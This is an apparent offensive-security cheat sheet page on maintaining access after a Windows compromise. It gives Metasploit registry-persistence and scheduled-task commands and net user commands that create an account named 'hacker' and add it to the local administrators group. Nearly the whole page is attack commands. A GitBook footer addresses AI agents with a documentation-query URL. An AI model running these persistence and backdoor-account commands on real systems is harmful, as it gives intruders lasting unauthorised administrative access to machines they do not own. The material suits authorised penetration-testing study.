> For the complete documentation index, see [llms.txt](https://sec88.0x88.online/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sec88.0x88.online/network-sec/post-exploitation/maintaining-access.md).

# Maintaining Access

**Using Metasploit for Persistence**

```bash
# Check available options
run persistence -h

# Example using registry persistence
use exploit/windows/local/registry_persistence
set SESSION <SESSION_NUMBER>
exploit
```

**Scheduled Tasks**

```bash
# Run scheduleme for simple scheduled task creation
run scheduleme

# For more advanced options, use schtaskabuse
run schtaskabuse
```

#### Adding a User

```bash
# Add a user using the net user command
net user hacker password123 /add

# Set additional details for the user
net user hacker /fullname:"Hacker User" /comment:"Added by the attacker" /passwordchg:no

# Add the user to the local administrators group
net localgroup administrators hacker /add
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sec88.0x88.online/network-sec/post-exploitation/maintaining-access.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
